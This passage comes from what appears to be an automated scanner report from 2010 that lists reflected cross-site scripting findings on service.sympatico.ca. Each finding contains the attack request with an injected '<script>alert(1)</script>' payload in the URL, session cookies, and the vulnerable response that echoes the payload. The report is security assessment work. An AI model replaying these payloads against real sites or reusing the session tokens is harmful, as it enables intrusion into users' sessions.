Support%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654?4e315"><script>alert(1)</script>379ee874ac2=1" />
...[SNIP]...

2.181. http://service.sympatico.ca/js/PageSize.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/PageSize.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76b2f"><script>alert(1)</script>4014b798939 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/PageSize.js76b2f"><script>alert(1)</script>4014b798939 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:26 GMT
Connection: close
Set-Cookie: SMSESSION=aJumqFc5rdIsmFWEegOhT6JZVncIFVkviXdPASGysOZlYkEsPTb4zvdn0W+1D4Oako8mf0dNnmNBfSOjgwCF8UVcKOUi/2+rgnQgfFhKhOVHbmG9tS9n4VDq8CySR+aB6ChivRVeG7mHRJ2nqDqZtcQHHxLay9MmbXC5+yKkbr0MWNA/Ti+CwMHU4stguRs50L4T4tAn540LoWmCyIbgLZU3ZZIdNSJ+BIqBsgvxPjaLeiPZTsxZeJtu694IBlrAHk1LcRuTKqzVGcVORVlLQoVgcrzW/MpDnXPZAnb75i20FfRFwviRug==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/PageSize.js76b2f"><script>alert(1)</script>4014b798939" />
...[SNIP]...

2.182. http://service.sympatico.ca/js/additional.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/additional.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 804ae"><script>alert(1)</script>7bbfde89631 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js804ae"><script>alert(1)</script>7bbfde89631/additional.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:21 GMT
Connection: close
Set-Cookie: SMSESSION=H/5Ji8ThecxS2MSfFmI0F778npIEnPL+bObHiLvl0WDws9Rbb6f8XOo+1bCvHrvvdZMrC8p8UUcckDjgVeQEN6TUVqxwSnss0hupJPR9mpK/7oZ3QC+ciab/XthZnmB9HcQIo2YvPkTObewftknScwcN06qeqgVSS2lwBL5D/qjNjJ0qvMF8b4ytkv16xG81OOP2BMz476mMKjHFZLlDEoCsYl4epVAXlnDQZOw2fWCBmrSj6Uxp6OtsoHAlopb1Hql+vkkGnYrTqtyT18RkZedVZhgNDyS1KsKKACKVwScNpo3xm7Gyng==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js804ae"><script>alert(1)</script>7bbfde89631/additional.js" />
...[SNIP]...

2.183. http://service.sympatico.ca/js/additional.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/additional.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13314"><script>alert(1)</script>e1069ddd86a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/additional.js13314"><script>alert(1)</script>e1069ddd86a HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:29 GMT
Connection: close
Set-Cookie: SMSESSION=9TJLrujAkeHQqQZ1BL3ROzYOA2gegtFMfq3Al8DKXU7vP0GD4FV59c1Q4pd6Qp85hP15QAOBTcV6xjzGwBQ8aD58V7DMfh6C/EB9DxTNdaLTOEl6LrkSkTa9z7KRP3IbRrnClLI8Sysj2PH02/t8njjoaUyINTWWK3/x84v/uLG5gM5aKXwlIdDnBKBdBHk2LOKxfKXexBcJMO02PqDwk2O4F73pMsXZ0s+vhpGnUiIQqtvWrHDTlyjS8q6x3rl1xUAoCEiuYrAHz5I06fdmxTCPT5NkAPdNJ80vLQgXU7uj5cGeBGQGjQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:30 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:30 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B